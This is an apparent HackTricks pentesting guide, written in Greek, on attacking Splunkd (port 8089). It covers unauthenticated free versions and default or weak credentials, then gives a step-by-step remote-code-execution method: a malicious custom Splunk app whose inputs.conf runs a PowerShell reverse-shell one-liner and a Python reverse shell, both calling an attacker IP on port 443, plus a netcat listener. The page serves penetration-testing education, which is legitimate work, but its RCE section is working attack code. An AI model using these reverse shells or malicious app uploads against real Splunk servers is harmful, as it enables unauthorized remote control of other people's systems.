8089 - Pentesting Splunkd

Support HackTricks

Basic Information

Το Splunk είναι ένα εργαλείο ανάλυσης καταγραφών που παίζει κρίσιμο ρόλο στη συλλογή, ανάλυση και οπτικοποίηση δεδομένων. Ενώ ο αρχικός του σκοπός δεν ήταν να λειτουργεί ως εργαλείο SIEM (Διαχείριση Πληροφοριών και Συμβάντων Ασφαλείας), έχει αποκτήσει δημοτικότητα στον τομέα της παρακολούθησης ασφάλειας και της επιχειρηματικής ανάλυσης.

Οι αναπτύξεις του Splunk χρησιμοποιούνται συχνά για την αποθήκευση ευαίσθητων δεδομένων και μπορούν να χρησιμεύσουν ως πολύτιμη πηγή πληροφοριών για πιθανούς επιτιθέμενους αν καταφέρουν να παραβιάσουν το σύστημα. Προεπιλεγμένη θύρα: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Ο διακομιστής ιστού Splunk εκτελείται από προεπιλογή στη θύρα 8000.

Enumeration

Free Version

Η δοκιμή του Splunk Enterprise μετατρέπεται σε δωρεάν έκδοση μετά από 60 ημέρες, η οποία δεν απαιτεί αυθεντικοποίηση. Δεν είναι ασυνήθιστο για τους διαχειριστές συστημάτων να εγκαθιστούν μια δοκιμή του Splunk για να το δοκιμάσουν, η οποία στη συνέχεια ξεχνιέται. Αυτό θα μετατραπεί αυτόματα στη δωρεάν έκδοση που δεν έχει καμία μορφή αυθεντικοποίησης, εισάγοντας μια τρύπα ασφαλείας στο περιβάλλον. Ορισμένες οργανώσεις μπορεί να επιλέξουν τη δωρεάν έκδοση λόγω περιορισμών προϋπολογισμού, χωρίς να κατανοούν πλήρως τις συνέπειες της έλλειψης διαχείρισης χρηστών/ρόλων.

Default Credentials

Σε παλαιότερες εκδόσεις του Splunk, τα προεπιλεγμένα διαπιστευτήρια είναι admin:changeme, τα οποία εμφανίζονται βολικά στη σελίδα σύνδεσης. Ωστόσο, η τελευταία έκδοση του Splunk ορίζει διαπιστευτήρια κατά τη διαδικασία εγκατάστασης. Εάν τα προεπιλεγμένα διαπιστευτήρια δεν λειτουργούν, αξίζει να ελέγξετε για κοινές αδύναμες κωδικούς πρόσβασης όπως admin, Welcome, Welcome1, Password123, κ.λπ.

Obtain Information

Αφού συνδεθούμε στο Splunk, μπορούμε να περιηγηθούμε σε δεδομένα, να εκτελέσουμε αναφορές, να δημιουργήσουμε πίνακες ελέγχου, να εγκαταστήσουμε εφαρμογές από τη βιβλιοθήκη Splunkbase και να εγκαταστήσουμε προσαρμοσμένες εφαρμογές. Μπορείτε επίσης να εκτελέσετε κώδικα: Το Splunk έχει πολλούς τρόπους εκτέλεσης κώδικα, όπως εφαρμογές Django server-side, REST endpoints, scripted inputs και alerting scripts. Μια κοινή μέθοδος για την απόκτηση απομακρυσμένης εκτέλεσης κώδικα σε έναν διακομιστή Splunk είναι μέσω της χρήσης ενός scripted input.

Επιπλέον, καθώς το Splunk μπορεί να εγκατασταθεί σε Windows ή Linux hosts, μπορούν να δημιουργηθούν scripted inputs για να εκτελούν Bash, PowerShell ή Batch scripts.

Shodan

  • Splunk build

RCE

Create Custom Application

Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί Python, Batch, Bash ή PowerShell scripts. Σημειώστε ότι το Splunk έρχεται με εγκατεστημένο Python, οπότε ακόμη και σε συστήματα Windows θα μπορείτε να εκτελείτε κώδικα python.

Μπορείτε να χρησιμοποιήσετε αυτό το πακέτο Splunk για να μας βοηθήσει. Ο φάκελος bin σε αυτό το repo έχει παραδείγματα για Python και PowerShell. Ας προχωρήσουμε βήμα-βήμα.

Για να το επιτύχουμε αυτό, πρέπει πρώτα να δημιουργήσουμε μια προσαρμοσμένη εφαρμογή Splunk χρησιμοποιώντας την παρακάτω δομή φακέλων:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Ο bin φάκελος θα περιέχει οποιαδήποτε σενάρια που σκοπεύουμε να εκτελέσουμε (σε αυτή την περίπτωση, ένα PowerShell reverse shell), και ο προεπιλεγμένος φάκελος θα έχει το αρχείο inputs.conf μας. Το reverse shell μας θα είναι ένα PowerShell one-liner:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Το αρχείο inputs.conf λέει στο Splunk ποιο σενάριο να εκτελέσει και οποιεσδήποτε άλλες συνθήκες. Εδώ ρυθμίζουμε την εφαρμογή ως ενεργοποιημένη και λέμε στο Splunk να εκτελεί το σενάριο κάθε 10 δευτερόλεπτα. Η διάρκεια είναι πάντα σε δευτερόλεπτα, και η είσοδος (σενάριο) θα εκτελείται μόνο αν αυτή η ρύθμιση είναι παρούσα.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Χρειαζόμαστε το .bat αρχείο, το οποίο θα εκτελείται όταν αναπτυχθεί η εφαρμογή και θα εκτελεί την PowerShell one-liner.

Το επόμενο βήμα είναι να επιλέξουμε Install app from file και να ανεβάσουμε την εφαρμογή.

Πριν ανεβάσουμε την κακόβουλη προσαρμοσμένη εφαρμογή, ας ξεκινήσουμε έναν listener χρησιμοποιώντας το Netcat ή το socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Στη σελίδα Upload app, κάντε κλικ στο browse, επιλέξτε το tarball που δημιουργήσαμε νωρίτερα και κάντε κλικ στο Upload. Μόλις ανεβάσουμε την εφαρμογή, θα λάβουμε ένα reverse shell καθώς η κατάσταση της εφαρμογής θα αλλάξει αυτόματα σε Enabled.

Linux

Αν ασχολούμασταν με έναν Linux host, θα έπρεπε να επεξεργαστούμε το σενάριο Python rev.py πριν δημιουργήσουμε το tarball και ανεβάσουμε την προσαρμοσμένη κακόβουλη εφαρμογή. Η υπόλοιπη διαδικασία θα ήταν η ίδια, και θα αποκτούσαμε μια σύνδεση reverse shell στον ακροατή Netcat μας και θα ξεκινούσαμε.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

Στην παρακάτω σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να κλιμακώσει τα δικαιώματα και να αποκτήσει επιμονή:

Splunk LPE and Persistence

References

Support HackTricks

Last updated